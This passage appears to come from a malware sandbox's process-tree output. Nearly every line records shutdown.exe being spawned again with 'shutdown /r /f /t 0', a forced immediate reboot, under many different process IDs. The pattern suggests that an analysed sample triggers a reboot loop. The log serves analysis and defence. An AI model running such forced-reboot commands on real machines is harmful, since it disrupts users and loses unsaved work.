- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1068
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2392
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4076
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4972
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1720
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4504
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4896
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2856
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:868
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:436
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3460
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2924
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1140
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:484
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1600
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4472
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2548
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2792
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4388
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3076
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1988
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1684
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3408
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2288
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3172
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1960
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5076
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:328
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4452
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4732
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2280
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4444
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4840
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:948
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1784
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2544
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1448
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2024
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4076
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4972
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1928
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4504
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1504
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2424
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2996
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1832
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2536
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2924
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3184
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2308
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2128
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2180
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1920
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3132
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:964
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2528
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:764
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1684
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3408
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3440
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1076
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4140
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5052
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2840
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2176
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3812
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4884
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:920
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4840
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4788
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2568
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1516
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2080
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4620
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3768
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2184
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1312
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1340
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1504
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2856
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2240
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4612
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3460
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2872
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:980
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:248
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:404
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4472
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2548
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1916
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4388
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3076
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1988
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2892
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4676
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4328
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3172
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1960
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5052
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2840
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4848
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4732
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4216
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:968
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1884
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4788
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2568
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1048
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2120
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4620
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3768
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4972
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2980
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4896
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3596
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2856
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:276
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1832
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:720
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3380
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2068
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1216
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4692
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3940
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:428
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4460
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4816
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3076
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:764
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3480
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3848
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5064
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2040
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2964
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1960
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4720
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1336
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4864
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3832
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4920
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4600
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1452
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1376
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4228
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1976
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2444
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1616
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:896
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3300
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2980
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2976
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2596
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2856
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2996
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1832
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:720
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3380
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4580
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:240
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1744
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4812
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2052
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3856
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4816
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2696
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2464
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1684
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4676
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3604
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:384
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2964
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1960
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4720
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2292
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4864
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4216
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4920
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1884
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1452
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1376
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4228
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3988
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4944
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2500
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:896
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3300
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3852
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1340
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2596
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3332
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3288
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4860
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3404
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2764
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4580
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1600
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2180
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3940
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:836
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4460
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1924
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2784
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4244
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1348
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2288
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5072
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:384
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2740
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1780
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2176
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2292
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1296
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:968
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4600
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3600
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3292
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2748
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4700
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2120
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3768
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4456
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4168
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1312
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4504
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3448
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2240
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2996
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3176
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1964
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:720
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1220
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1836
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4632
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1540
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3132
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4388
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2752
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3180
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5040
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1304
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4800
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4344
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4464
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3172
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:996
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4556
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4720
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4848
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4864
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4412
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4920
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3004
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1452
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2316
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3148
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1620
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4156
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2148
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3012
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3392
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3852
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3596
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:436
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3332
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2584
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4780
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1532
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2068
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3120
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4472
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3968
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1916
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3732
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1196
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2752
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3584
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3828
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4976
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3440
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3328
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4712
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:5068
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4704
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1780
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2176
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3832
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2032
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4412
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4920
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4368
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2264
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3588
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3148
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2708
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:620
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1424
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4972
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3300
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3852
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:132
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:564
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2732
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2584
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3184
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1532
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2764
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4580
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1744
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2044
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3940
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2052
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3528
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1560
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:2892
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3828
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4976
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:3200
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:1076
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
    3⤵
    PID:4516
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 0
